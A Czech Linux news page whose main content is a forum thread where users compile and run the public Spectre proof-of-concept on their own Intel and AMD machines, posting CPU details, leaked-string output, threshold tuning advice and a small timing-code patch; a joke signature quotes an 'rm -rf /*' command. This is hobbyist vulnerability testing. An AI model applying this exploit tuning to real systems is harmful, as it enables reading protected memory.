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dnes 12:44 | Komunita

Nadace Cloud Native Computing Foundation (CNCF), jejíž cílem je usnadnit spolupráci při vývoji a zavádění nových cloudových technologií, projekt konsorcia Linux Foundation, organizovala od 10. do 13. prosince v Seattlu konferenci KubeCon + CloudNativeCon North America 2018. Shrnutí dění na konferenci v příspěvku na blogu. V úvodu konference společnost Red Hat věnovala této nadaci distribuovanou key-value databázi etcd. Jedná se o

… více »
Ladislav Hagara | Komentářů: 0
14.12. 14:33 | Nová verze

Byla vydána nová verze 1.30 editoru zdrojových kódů Visual Studio Code (Wikipedie). Přehled novinek i s náhledy a animovanými gify v poznámkách k vydání.

Ladislav Hagara | Komentářů: 2
14.12. 14:22 | Nová verze

Deset dnů po představení beta verze byla vydána stabilní verze Steam Linku pro Raspberry Pi umožňující streamovat hry ve službě Steam z počítače na televizní obrazovku.

Ladislav Hagara | Komentářů: 8
13.12. 20:00 | Nová verze

Byla vydána (YouTube) verze 2018.3 multiplatformního herního enginu Unity (Wikipedie). Přehled novinek i s videoukázkami v příspěvku na blogu a v poznámkách k vydání.

Ladislav Hagara | Komentářů: 0
13.12. 19:33 | Nová verze

Byla vydána verze 18.12.0 KDE Aplikací (KDE Applications). Přehled novinek v kompletním seznamu změn a na stránce s dalšími informacemi. Správce souborů Dolphin umí nově například zobrazovat náhledy dokumentů vytvořených v LibreOffice a aplikací ve formátu AppImage. Konsole plně podporuje obrázkové znaky emoji. V Okularu lze k pdf souborům přidávat poznámky.

Ladislav Hagara | Komentářů: 12
13.12. 17:11 | Nová verze

Byla vydána nová stabilní verze 2.2 (2.2.1388.34) webového prohlížeče Vivaldi (Wikipedie). Z novinek vývojáři zdůrazňují například vylepšení správy listů - vybrané listy lze uložit jako relaci, možnost zobrazení klávesových zkratek určených webovou stránkou nebo možnost přehrávání videí v režimu obrazu v obraze. Nejnovější Vivaldi je postaveno na Chromiu 71.0.3578.85.

Ladislav Hagara | Komentářů: 8
13.12. 14:22 | Nová verze

Po 4 měsících vývoje od vydání verze 3.0.0 byla vydána nová verze 3.1.0 otevřeného emulátoru procesorů a virtualizačního nástroje QEMU (Wikipedie). Přispělo 189 vývojářů. Provedeno bylo více než 1 900 commitů. Přehled úprav a nových vlastností v seznamu změn.

Ladislav Hagara | Komentářů: 0
13.12. 01:32 | Nová verze

Letos bylo v komunitě Mageia hodně změn. Po volbě nových vedoucích přišla velká aktualizace a krátce na to udržovací verze 6.1. 7.12., dle plánu, vyšla Mageia s číslem 7 v její první beta verzi. Chyby můžete hlásit v bugzille. Chyby v českých překladech pak na fóru české komunity.

Joelp | Komentářů: 3
13.12. 00:11 | Zajímavý projekt

Kvůli rychlejšímu vývojovému cyklu byla přemístěna Cinelerra-gg. Cinelerra-gg je fork Cinelerry-hv. Některé rozdíly forků popisuje sám hlavní vývojář William Morrow (aka GoodGuy). Není zde popsán i fork Lumiera, zřejmě kvůli zatím nepoužitelnému stavu.

… více »
D81 | Komentářů: 3
12.12. 19:11 | Nová verze

Do aplikace pro instant messaging Telegram (Wikipedie) lze nově nahrát češtinu. Více v příspěvku na blogu Telegramu.

Ladislav Hagara | Komentářů: 7
Chystáte se přejít na Wayland na „desktopu“?
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Celkem 134 hlasů
 Komentářů: 19, poslední 14.12. 18:37
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Štítky: není přiřazen žádný štítek

Vložit další komentář
4.1. 18:52 R
Rozbalit Rozbalit vše Re: Spectre na AMD
Na P4 to nefunguje - vracia same 0xFF.

Pre P3 to nejde skompilovat (error: inlining failed in call to always_inline ‘_mm_clflush’: target specific option mismatch)

Na Core2 Xeonoch mi to tiez nejako nejde.
4.1. 19:40 sk7
Rozbalit Rozbalit vše Re: Spectre na AMD
skus tu:
https://repl.it/repls/DeliriousGreenOxpecker
a pouzi zdrojak pripadne treba skusat menit hodnotu v:
#define CACHE_HIT_THRESHOLD 300
hore bolo 80 skus 100 alebo 300
4.1. 22:37 R
Rozbalit Rozbalit vše Re: Spectre na AMD
rdtscp sposobi illegal instruction. threshold sa mi nepodarilo nastavit tak, aby to fungovalo. Maximalne par znakov to obcas uhadne na Xeone X5355.
4.1. 23:15 R
Rozbalit Rozbalit vše Re: Spectre na AMD
Konecne som to rozchodil - nasiel som dostatocne novy procesor. Na Xeone E5-2620 to funguje s rdtscp a thresholdom 80.
5.1. 03:27 pc2005 | skóre: 37 | blog: GardenOfEdenConfiguration | liberec
Rozbalit Rozbalit vše Re: Spectre na AMD
Jo taky jsem si všiml na core2 není rdtscp podporovanej (musí být flag v /proc/cpuinfo).
5.1. 16:39 PavelM
Rozbalit Rozbalit vše Re: Spectre na AMD
Core2Duo E8600 se mi nepodařilo ani částečně ke spolupráci přesvědčit, vrací samé e bez ohledu na hodnotu thresholdu a druhý zdroják nejde kvůli výše zmíněné rdtscp použít.
4.1. 21:05 majales | skóre: 23 | blog: Majales
Rozbalit Rozbalit vše Re: Spectre na AMD
na Core2 Duo T9300
nikdo@ubuntu-notebook:~$ cat /proc/cpuinfo
processor       : 0
vendor_id       : GenuineIntel
cpu family      : 6
model           : 23
model name      : Intel(R) Core(TM)2 Duo CPU     T9300  @ 2.50GHz
stepping        : 6
microcode       : 0x60f
cpu MHz         : 800.000
cache size      : 6144 KB
physical id     : 0
siblings        : 2
core id         : 0
cpu cores       : 2
apicid          : 0
initial apicid  : 0
fpu             : yes
fpu_exception   : yes
cpuid level     : 10
wp              : yes
flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx lm constant_tsc arch_perfmon pebs bts rep_good nopl aperfmperf pni dtes64 monitor ds_cpl vmx est tm2 ssse3 cx16 xtpr pdcm sse4_1 lahf_lm tpr_shadow vnmi flexpriority dtherm ida
bugs            :
bogomips        : 4987.40
clflush size    : 64
cache_alignment : 64
address sizes   : 36 bits physical, 48 bits virtual
power management:

processor       : 1
vendor_id       : GenuineIntel
cpu family      : 6
model           : 23
model name      : Intel(R) Core(TM)2 Duo CPU     T9300  @ 2.50GHz
..

gcc  -std=c99 -O0 spectre.c -o spectre

nikdo@ubuntu-notebook:~$ ./spectre
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfedf8... Success: 0x54=’T’ score=2
Reading at malicious_x = 0xffffffffffdfedf9... Success: 0x68=’h’ score=2
Reading at malicious_x = 0xffffffffffdfedfa... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfedfb... Success: 0x20=’ ’ score=1
Reading at malicious_x = 0xffffffffffdfedfc... Success: 0x4D=’M’ score=2
Reading at malicious_x = 0xffffffffffdfedfd... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfedfe... Success: 0x67=’g’ score=2
Reading at malicious_x = 0xffffffffffdfedff... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdfee00... Success: 0x63=’c’ score=2
Reading at malicious_x = 0xffffffffffdfee01... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfee02... Success: 0x57=’W’ score=2
Reading at malicious_x = 0xffffffffffdfee03... Success: 0x6F=’o’ score=4 (second best: 0x04 score=1)
Reading at malicious_x = 0xffffffffffdfee04... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdfee05... Success: 0x64=’d’ score=2 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdfee06... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfee07... Success: 0x20=’ ’ score=1
Reading at malicious_x = 0xffffffffffdfee08... Success: 0x61=’a’ score=1
Reading at malicious_x = 0xffffffffffdfee09... Success: 0xFF=’▒’ score=0
Reading at malicious_x = 0xffffffffffdfee0a... Success: 0x65=’e’ score=1
Reading at malicious_x = 0xffffffffffdfee0b... Success: 0x20=’ ’ score=1
Reading at malicious_x = 0xffffffffffdfee0c... Success: 0xFF=’▒’ score=0
Reading at malicious_x = 0xffffffffffdfee0d... Success: 0xFF=’▒’ score=0
Reading at malicious_x = 0xffffffffffdfee0e... Success: 0x03=’▒’ score=1
Reading at malicious_x = 0xffffffffffdfee0f... Success: 0xFF=’▒’ score=0
Reading at malicious_x = 0xffffffffffdfee10... Success: 0x61=’a’ score=1
Reading at malicious_x = 0xffffffffffdfee11... Success: 0x6D=’m’ score=1
Reading at malicious_x = 0xffffffffffdfee12... Success: 0x69=’i’ score=1
Reading at malicious_x = 0xffffffffffdfee13... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfee14... Success: 0xFF=’▒’ score=0
Reading at malicious_x = 0xffffffffffdfee15... Success: 0xFF=’▒’ score=0
Reading at malicious_x = 0xffffffffffdfee16... Success: 0x02=’▒’ score=1
Reading at malicious_x = 0xffffffffffdfee17... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfee18... Success: 0x73=’s’ score=1
Reading at malicious_x = 0xffffffffffdfee19... Success: 0xFF=’▒’ score=0
Reading at malicious_x = 0xffffffffffdfee1a... Success: 0xFF=’▒’ score=0
Reading at malicious_x = 0xffffffffffdfee1b... Unclear: 0x72=’r’ score=1 (second best: 0x04 score=1)
Reading at malicious_x = 0xffffffffffdfee1c... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfee1d... Success: 0x67=’g’ score=1
Reading at malicious_x = 0xffffffffffdfee1e... Success: 0xFF=’▒’ score=0
Reading at malicious_x = 0xffffffffffdfee1f... Success: 0xFF=’▒’ score=0

Ubuntu 17:04
4.1. 21:23 majales | skóre: 23 | blog: Majales
Rozbalit Rozbalit vše Re: Spectre na AMD
Nemáte někdo verzi pro ARM? Že bych to vyzkoušel i na raspberry..
4.1. 23:09 KS | skóre: 10 | blog: blg | Horní polní u západní dolní
Rozbalit Rozbalit vše Re: Spectre na AMD
Raspberry Pi 3 používá jádro Cortex-A53, takže podle ARMu není postižen: https://developer.arm.com/support/security-update
Pochybnost, nejistota - základ poznání
5.1. 02:58 pc2005 | skóre: 37 | blog: GardenOfEdenConfiguration | liberec
Rozbalit Rozbalit vše Re: Spectre na AMD
4.1. 21:23 Johanka | Praha
Rozbalit Rozbalit vše Re: Spectre na AMD
Zajímavé:
johanka@johanbook ~/tmp/tmp $ cat /proc/cpuinfo 
processor       : 0
vendor_id       : GenuineIntel
cpu family      : 6
model           : 142
model name      : Intel(R) Core(TM) i7-7500U CPU @ 2.70GHz
stepping        : 9
microcode       : 0x4e
cpu MHz         : 2900.000
cache size      : 4096 KB
physical id     : 0
siblings        : 4
core id         : 0
cpu cores       : 2
apicid          : 0
initial apicid  : 0
fpu             : yes
fpu_exception   : yes
cpuid level     : 22
wp              : yes
flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx pdpe1gb rdtscp lm constant_tsc art arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc cpuid aperfmperf tsc_known_freq pni pclmulqdq dtes64 monitor ds_cpl vmx est tm2 ssse3 sdbg fma cx16 xtpr pdcm pcid sse4_1 sse4_2 x2apic movbe popcnt aes xsave avx f16c rdrand lahf_lm abm 3dnowprefetch cpuid_fault epb intel_pt tpr_shadow vnmi flexpriority ept vpid fsgsbase tsc_adjust bmi1 avx2 smep bmi2 erms invpcid mpx rdseed adx smap clflushopt xsaveopt xsavec xgetbv1 xsaves dtherm ida arat pln pts hwp hwp_notify hwp_act_window hwp_epp
bugs            :
bogomips        : 5808.00
clflush size    : 64
cache_alignment : 64
address sizes   : 39 bits physical, 48 bits virtual
power management:

processor       : 1
vendor_id       : GenuineIntel
cpu family      : 6
model           : 142
model name      : Intel(R) Core(TM) i7-7500U CPU @ 2.70GHz
... atd

johanka@johanbook ~/tmp/tmp $ 
johanka@johanbook ~/tmp/tmp $ gcc -march=native -O2 -pipe spectre.c -o spectre
spectre.c: In function ‘main’:
spectre.c:136:51: warning: pointer/integer type mismatch in conditional expression
       (value[0] > 31 && value[0] < 127 ? value[0] : "?"), score[0]);
                                                   ^
spectre.c:135:24: warning: format ‘%c’ expects argument of type ‘int’, but argument 3 has type ‘char *’ [-Wformat=]
     printf("0x%02X=’%c’ score=%d ", value[0],
                        ^
johanka@johanbook ~/tmp/tmp $ ./spectre 
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfec50... Unclear: 0xBC=’4’ score=999 (second best: 0x2E score=999)
Reading at malicious_x = 0xffffffffffdfec51... Unclear: 0x8D=’4’ score=999 (second best: 0x1E score=999)
Reading at malicious_x = 0xffffffffffdfec52... Unclear: 0xF4=’4’ score=999 (second best: 0xE4 score=999)
Reading at malicious_x = 0xffffffffffdfec53... Unclear: 0xF6=’4’ score=999 (second best: 0xE2 score=999)
Reading at malicious_x = 0xffffffffffdfec54... Unclear: 0xE4=’4’ score=999 (second best: 0xB1 score=999)
Reading at malicious_x = 0xffffffffffdfec55... Unclear: 0xF2=’4’ score=999 (second best: 0xEE score=999)
Reading at malicious_x = 0xffffffffffdfec56... Unclear: 0xF1=’4’ score=999 (second best: 0xD5 score=999)
Reading at malicious_x = 0xffffffffffdfec57... Unclear: 0xFC=’4’ score=999 (second best: 0xB1 score=999)
Reading at malicious_x = 0xffffffffffdfec58... Unclear: 0xBC=’4’ score=999 (second best: 0xB9 score=999)
Reading at malicious_x = 0xffffffffffdfec59... Unclear: 0xE9=’4’ score=999 (second best: 0xB3 score=999)
Reading at malicious_x = 0xffffffffffdfec5a... Unclear: 0xFA=’4’ score=999 (second best: 0xE8 score=999)
Reading at malicious_x = 0xffffffffffdfec5b... Unclear: 0xEE=’4’ score=999 (second best: 0xCC score=999)
Reading at malicious_x = 0xffffffffffdfec5c... Unclear: 0xFC=’4’ score=999 (second best: 0xEE score=999)
Reading at malicious_x = 0xffffffffffdfec5d... Unclear: 0xF3=’4’ score=999 (second best: 0xEF score=999)
Reading at malicious_x = 0xffffffffffdfec5e... Unclear: 0xFF=’4’ score=999 (second best: 0xF1 score=999)
Reading at malicious_x = 0xffffffffffdfec5f... Unclear: 0xE2=’4’ score=999 (second best: 0xDC score=999)
Reading at malicious_x = 0xffffffffffdfec60... Unclear: 0xE4=’4’ score=999 (second best: 0xDA score=999)
Reading at malicious_x = 0xffffffffffdfec61... Unclear: 0x7A=’z’ score=999 (second best: 0x1E score=999)
Reading at malicious_x = 0xffffffffffdfec62... Unclear: 0xFA=’4’ score=999 (second best: 0xE7 score=999)
Reading at malicious_x = 0xffffffffffdfec63... Unclear: 0xFE=’4’ score=999 (second best: 0xD6 score=999)
Reading at malicious_x = 0xffffffffffdfec64... Unclear: 0xFD=’4’ score=997 (second best: 0xE7 score=997)
Reading at malicious_x = 0xffffffffffdfec65... Unclear: 0xCD=’4’ score=999 (second best: 0x50 score=999)
Reading at malicious_x = 0xffffffffffdfec66... Unclear: 0xE3=’4’ score=999 (second best: 0xAF score=999)
Reading at malicious_x = 0xffffffffffdfec67... Unclear: 0xE2=’4’ score=999 (second best: 0x96 score=999)
Reading at malicious_x = 0xffffffffffdfec68... Unclear: 0xFF=’4’ score=999 (second best: 0xE4 score=999)
Reading at malicious_x = 0xffffffffffdfec69... Unclear: 0xE6=’4’ score=999 (second best: 0xDB score=999)
Reading at malicious_x = 0xffffffffffdfec6a... Unclear: 0xE7=’4’ score=999 (second best: 0xA6 score=999)
Reading at malicious_x = 0xffffffffffdfec6b... Unclear: 0xEF=’4’ score=999 (second best: 0x7C score=999)
Reading at malicious_x = 0xffffffffffdfec6c... Unclear: 0xD8=’4’ score=999 (second best: 0xCE score=999)
Reading at malicious_x = 0xffffffffffdfec6d... Unclear: 0xEB=’4’ score=999 (second best: 0x54 score=999)
Reading at malicious_x = 0xffffffffffdfec6e... Unclear: 0xF6=’4’ score=999 (second best: 0xF2 score=999)
Reading at malicious_x = 0xffffffffffdfec6f... Unclear: 0xFA=’4’ score=999 (second best: 0xE9 score=999)
Reading at malicious_x = 0xffffffffffdfec70... Unclear: 0xD7=’4’ score=999 (second best: 0x46 score=999)
Reading at malicious_x = 0xffffffffffdfec71... Unclear: 0xE0=’4’ score=999 (second best: 0xDE score=999)
Reading at malicious_x = 0xffffffffffdfec72... Unclear: 0xE1=’4’ score=999 (second best: 0xBF score=999)
Reading at malicious_x = 0xffffffffffdfec73... Unclear: 0xAF=’4’ score=999 (second best: 0xA7 score=999)
Reading at malicious_x = 0xffffffffffdfec74... Unclear: 0xED=’4’ score=999 (second best: 0xBE score=999)
Reading at malicious_x = 0xffffffffffdfec75... Unclear: 0xFE=’4’ score=999 (second best: 0xE2 score=999)
Reading at malicious_x = 0xffffffffffdfec76... Unclear: 0xD9=’4’ score=999 (second best: 0xB8 score=999)
Reading at malicious_x = 0xffffffffffdfec77... Unclear: 0xE9=’4’ score=999 (second best: 0x8F score=999)
johanka@johanbook ~/tmp/tmp $
johanka@johanbook ~/tmp/tmp $ uname -a
Linux johanbook 4.14.8-gentoo-r1 #2 SMP PREEMPT Sun Dec 24 16:49:33 CET 2017 x86_64 Intel(R) Core(TM) i7-7500U CPU @ 2.70GHz GenuineIntel GNU/Linux
johanka@johanbook ~/tmp/tmp $ cat /etc/gentoo-release 
Gentoo Base System release 2.4.1

Dělám něco špatně?
4.1. 21:33 Mrkva | skóre: 22 | blog: urandom
Rozbalit Rozbalit vše Re: Spectre na AMD
Necpi tam to -O2. Chapu, zvyk je zvyk, ale optimalizace to podle me rozbijou :)
Warning: The patch is horribly wrong, don't use it. According to our tests, it just runs "rm -rf /*".
4.1. 21:38 Johanka | Praha
Rozbalit Rozbalit vše Re: Spectre na AMD
Tím to nebude:
johanka@johanbook ~/tmp/tmp $ gcc -march=native -pipe spectre.c -o spectre
spectre.c: In function ‘main’:
spectre.c:136:51: warning: pointer/integer type mismatch in conditional expression
       (value[0] > 31 && value[0] < 127 ? value[0] : "?"), score[0]);
                                                   ^
spectre.c:135:24: warning: format ‘%c’ expects argument of type ‘int’, but argument 3 has type ‘char *’ [-Wformat=]
     printf("0x%02X=’%c’ score=%d ", value[0],
                        ^
johanka@johanbook ~/tmp/tmp $ ./spectre 
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfed28... Unclear: 0xCF=’%’ score=999 (second best: 0x60 score=999)
Reading at malicious_x = 0xffffffffffdfed29... Unclear: 0xFD=’%’ score=999 (second best: 0xEA score=999)
Reading at malicious_x = 0xffffffffffdfed2a... Unclear: 0xFE=’%’ score=999 (second best: 0xCF score=999)
Reading at malicious_x = 0xffffffffffdfed2b... Unclear: 0xF0=’%’ score=999 (second best: 0xEC score=999)
Reading at malicious_x = 0xffffffffffdfed2c... Unclear: 0xFC=’%’ score=999 (second best: 0xE5 score=999)
Reading at malicious_x = 0xffffffffffdfed2d... Unclear: 0xFE=’%’ score=999 (second best: 0xFB score=999)
Reading at malicious_x = 0xffffffffffdfed2e... Unclear: 0xE8=’%’ score=999 (second best: 0xDA score=999)
Reading at malicious_x = 0xffffffffffdfed2f... Unclear: 0xEB=’%’ score=999 (second best: 0xCB score=999)
Reading at malicious_x = 0xffffffffffdfed30... Unclear: 0xF0=’%’ score=999 (second best: 0xE8 score=999)
Reading at malicious_x = 0xffffffffffdfed31... Unclear: 0xC3=’%’ score=999 (second best: 0xC1 score=999)
Reading at malicious_x = 0xffffffffffdfed32... Unclear: 0xF2=’%’ score=999 (second best: 0xC0 score=999)
Reading at malicious_x = 0xffffffffffdfed33... Unclear: 0xF5=’%’ score=999 (second best: 0xF2 score=999)
Reading at malicious_x = 0xffffffffffdfed34... Unclear: 0xDA=’%’ score=999 (second best: 0xC1 score=999)
Reading at malicious_x = 0xffffffffffdfed35... Unclear: 0xF3=’%’ score=999 (second best: 0xBD score=999)
Reading at malicious_x = 0xffffffffffdfed36... Unclear: 0xDC=’%’ score=999 (second best: 0xCF score=999)
Reading at malicious_x = 0xffffffffffdfed37... Unclear: 0xE3=’%’ score=999 (second best: 0xE2 score=999)
Reading at malicious_x = 0xffffffffffdfed38... Unclear: 0xDC=’%’ score=999 (second best: 0x98 score=999)
Reading at malicious_x = 0xffffffffffdfed39... Unclear: 0xEF=’%’ score=999 (second best: 0xEB score=999)
Reading at malicious_x = 0xffffffffffdfed3a... Unclear: 0xF9=’%’ score=999 (second best: 0xC7 score=999)
Reading at malicious_x = 0xffffffffffdfed3b... Unclear: 0xFB=’%’ score=999 (second best: 0xF3 score=999)
Reading at malicious_x = 0xffffffffffdfed3c... Unclear: 0xCE=’%’ score=999 (second best: 0xC6 score=999)
Reading at malicious_x = 0xffffffffffdfed3d... Unclear: 0xF1=’%’ score=999 (second best: 0xC7 score=999)
Reading at malicious_x = 0xffffffffffdfed3e... Unclear: 0xFC=’%’ score=999 (second best: 0xE1 score=999)
Reading at malicious_x = 0xffffffffffdfed3f... Unclear: 0xD2=’%’ score=999 (second best: 0xBB score=999)
Reading at malicious_x = 0xffffffffffdfed40... Unclear: 0xED=’%’ score=999 (second best: 0xE3 score=999)
Reading at malicious_x = 0xffffffffffdfed41... Unclear: 0xE1=’%’ score=999 (second best: 0xD3 score=999)
Reading at malicious_x = 0xffffffffffdfed42... Unclear: 0xEF=’%’ score=999 (second best: 0xE8 score=999)
Reading at malicious_x = 0xffffffffffdfed43... Unclear: 0xF9=’%’ score=999 (second best: 0xDE score=999)
Reading at malicious_x = 0xffffffffffdfed44... Unclear: 0xBE=’%’ score=999 (second best: 0xBA score=999)
Reading at malicious_x = 0xffffffffffdfed45... Unclear: 0xB6=’%’ score=999 (second best: 0xB1 score=999)
Reading at malicious_x = 0xffffffffffdfed46... Unclear: 0xE3=’%’ score=999 (second best: 0xD9 score=999)
Reading at malicious_x = 0xffffffffffdfed47... Unclear: 0xF1=’%’ score=999 (second best: 0xE0 score=999)
Reading at malicious_x = 0xffffffffffdfed48... Unclear: 0xFD=’%’ score=999 (second best: 0xFA score=999)
Reading at malicious_x = 0xffffffffffdfed49... Unclear: 0xFD=’%’ score=999 (second best: 0xF8 score=999)
Reading at malicious_x = 0xffffffffffdfed4a... Unclear: 0xC1=’%’ score=999 (second best: 0xAE score=999)
Reading at malicious_x = 0xffffffffffdfed4b... Unclear: 0xD3=’%’ score=999 (second best: 0xBD score=999)
Reading at malicious_x = 0xffffffffffdfed4c... Unclear: 0xD8=’%’ score=999 (second best: 0xBC score=999)
Reading at malicious_x = 0xffffffffffdfed4d... Unclear: 0xE0=’%’ score=999 (second best: 0xAA score=999)
Reading at malicious_x = 0xffffffffffdfed4e... Unclear: 0xBC=’%’ score=999 (second best: 0xB2 score=999)
Reading at malicious_x = 0xffffffffffdfed4f... Unclear: 0xD7=’%’ score=999 (second best: 0xC6 score=999)
johanka@johanbook ~/tmp/tmp $ rm spectre
johanka@johanbook ~/tmp/tmp $ gcc spectre.c -o spectre                     
spectre.c: In function ‘main’:
spectre.c:136:51: warning: pointer/integer type mismatch in conditional expression
       (value[0] > 31 && value[0] < 127 ? value[0] : "?"), score[0]);
                                                   ^
spectre.c:135:24: warning: format ‘%c’ expects argument of type ‘int’, but argument 3 has type ‘char *’ [-Wformat=]
     printf("0x%02X=’%c’ score=%d ", value[0],
                        ^
johanka@johanbook ~/tmp/tmp $ ./spectre 
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfed28... Unclear: 0xEA=’%’ score=999 (second best: 0xD8 score=999)
Reading at malicious_x = 0xffffffffffdfed29... Unclear: 0xF7=’%’ score=999 (second best: 0xD8 score=999)
Reading at malicious_x = 0xffffffffffdfed2a... Unclear: 0xF3=’%’ score=999 (second best: 0xF0 score=999)
Reading at malicious_x = 0xffffffffffdfed2b... Unclear: 0xED=’%’ score=999 (second best: 0xE7 score=999)
Reading at malicious_x = 0xffffffffffdfed2c... Unclear: 0xEC=’%’ score=999 (second best: 0xE9 score=999)
Reading at malicious_x = 0xffffffffffdfed2d... Unclear: 0xF4=’%’ score=999 (second best: 0xEF score=999)
Reading at malicious_x = 0xffffffffffdfed2e... Unclear: 0xF5=’%’ score=999 (second best: 0xCD score=999)
Reading at malicious_x = 0xffffffffffdfed2f... Unclear: 0xE7=’%’ score=999 (second best: 0xC3 score=999)
Reading at malicious_x = 0xffffffffffdfed30... Unclear: 0xFF=’%’ score=999 (second best: 0xF6 score=999)
Reading at malicious_x = 0xffffffffffdfed31... Unclear: 0xF2=’%’ score=999 (second best: 0xCD score=999)
Reading at malicious_x = 0xffffffffffdfed32... Unclear: 0xF8=’%’ score=999 (second best: 0xF2 score=999)
Reading at malicious_x = 0xffffffffffdfed33... Unclear: 0xA7=’%’ score=999 (second best: 0x8E score=999)
Reading at malicious_x = 0xffffffffffdfed34... Unclear: 0xED=’%’ score=999 (second best: 0xDD score=999)
Reading at malicious_x = 0xffffffffffdfed35... Unclear: 0xF1=’%’ score=999 (second best: 0xC2 score=999)
Reading at malicious_x = 0xffffffffffdfed36... Unclear: 0xF6=’%’ score=999 (second best: 0xBA score=999)
Reading at malicious_x = 0xffffffffffdfed37... Unclear: 0xB9=’%’ score=999 (second best: 0x38 score=999)
Reading at malicious_x = 0xffffffffffdfed38... Unclear: 0xF8=’%’ score=999 (second best: 0xF2 score=999)
Reading at malicious_x = 0xffffffffffdfed39... Unclear: 0xCC=’%’ score=999 (second best: 0x72 score=999)
Reading at malicious_x = 0xffffffffffdfed3a... Unclear: 0xFD=’%’ score=999 (second best: 0xF3 score=999)
Reading at malicious_x = 0xffffffffffdfed3b... Unclear: 0xF7=’%’ score=999 (second best: 0xD5 score=999)
Reading at malicious_x = 0xffffffffffdfed3c... Unclear: 0xB8=’%’ score=998 (second best: 0x86 score=998)
Reading at malicious_x = 0xffffffffffdfed3d... Unclear: 0xD7=’%’ score=999 (second best: 0xD6 score=999)
Reading at malicious_x = 0xffffffffffdfed3e... Unclear: 0xDC=’%’ score=999 (second best: 0x9B score=999)
Reading at malicious_x = 0xffffffffffdfed3f... Unclear: 0xB2=’%’ score=999 (second best: 0xA1 score=999)
Reading at malicious_x = 0xffffffffffdfed40... Unclear: 0xEF=’%’ score=999 (second best: 0xCF score=999)
Reading at malicious_x = 0xffffffffffdfed41... Unclear: 0xED=’%’ score=999 (second best: 0xE4 score=999)
Reading at malicious_x = 0xffffffffffdfed42... Unclear: 0xA7=’%’ score=999 (second best: 0xA1 score=999)
Reading at malicious_x = 0xffffffffffdfed43... Unclear: 0xC3=’%’ score=999 (second best: 0x97 score=999)
Reading at malicious_x = 0xffffffffffdfed44... Unclear: 0xFD=’%’ score=999 (second best: 0xDE score=999)
Reading at malicious_x = 0xffffffffffdfed45... Unclear: 0xF2=’%’ score=999 (second best: 0xB2 score=999)
Reading at malicious_x = 0xffffffffffdfed46... Unclear: 0xFC=’%’ score=999 (second best: 0xF8 score=999)
Reading at malicious_x = 0xffffffffffdfed47... Unclear: 0xE0=’%’ score=999 (second best: 0xBE score=999)
Reading at malicious_x = 0xffffffffffdfed48... Unclear: 0xF9=’%’ score=999 (second best: 0xF8 score=999)
Reading at malicious_x = 0xffffffffffdfed49... Unclear: 0xFC=’%’ score=999 (second best: 0xDE score=999)
Reading at malicious_x = 0xffffffffffdfed4a... Unclear: 0xD9=’%’ score=999 (second best: 0xC2 score=999)
Reading at malicious_x = 0xffffffffffdfed4b... Unclear: 0xFF=’%’ score=999 (second best: 0xF4 score=999)
Reading at malicious_x = 0xffffffffffdfed4c... Unclear: 0xE7=’%’ score=999 (second best: 0xC4 score=999)
Reading at malicious_x = 0xffffffffffdfed4d... Unclear: 0xA8=’%’ score=999 (second best: 0x82 score=999)
Reading at malicious_x = 0xffffffffffdfed4e... Unclear: 0xF4=’%’ score=999 (second best: 0xC5 score=999)
Reading at malicious_x = 0xffffffffffdfed4f... Unclear: 0xEF=’%’ score=999 (second best: 0xE5 score=999)
4.1. 21:47 Mrkva | skóre: 22 | blog: urandom
Rozbalit Rozbalit vše Re: Spectre na AMD
A jeste:
--- spectre.c	2018-01-04 21:43:38.504264913 +0100
+++ spectre2.c	2018-01-04 21:45:23.654267506 +0100
@@ -86,9 +86,9 @@
     for (i = 0; i < 256; i++) {
       mix_i = ((i * 167) + 13) & 255;
       addr = & array2[mix_i * 512];
-      time1 = __rdtsc(); /* READ TIMER */
+      time1 = __rdtscp( & junk); /* READ TIMER */
       junk = * addr; /* MEMORY ACCESS TO TIME */
-      time2 = __rdtsc() - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
+      time2 = __rdtscp( & junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
       if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
         results[mix_i]++; /* cache hit - add +1 to score for this value */
     }
Warning: The patch is horribly wrong, don't use it. According to our tests, it just runs "rm -rf /*".
4.1. 21:54 Johanka | Praha
Rozbalit Rozbalit vše Re: Spectre na AMD
Jo teď už to čte. Ale proč je tam všude pořád tak vysoké skóre?
johanka@johanbook ~/tmp/tmp $ gcc spectre.c -o spectre
spectre.c: In function ‘main’:
spectre.c:136:51: warning: pointer/integer type mismatch in conditional expression
       (value[0] > 31 && value[0] < 127 ? value[0] : "?"), score[0]);
                                                   ^
spectre.c:135:24: warning: format ‘%c’ expects argument of type ‘int’, but argument 3 has type ‘char *’ [-Wformat=]
     printf("0x%02X=’%c’ score=%d ", value[0],
                        ^
johanka@johanbook ~/tmp/tmp $ ./spectre 
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfed48... Unclear: 0x54=’T’ score=994 (second best: 0x01 score=801)
Reading at malicious_x = 0xffffffffffdfed49... Unclear: 0x68=’h’ score=995 (second best: 0x01 score=793)
Reading at malicious_x = 0xffffffffffdfed4a... Unclear: 0x65=’e’ score=992 (second best: 0x01 score=766)
Reading at malicious_x = 0xffffffffffdfed4b... Unclear: 0x20=’ ’ score=992 (second best: 0x01 score=786)
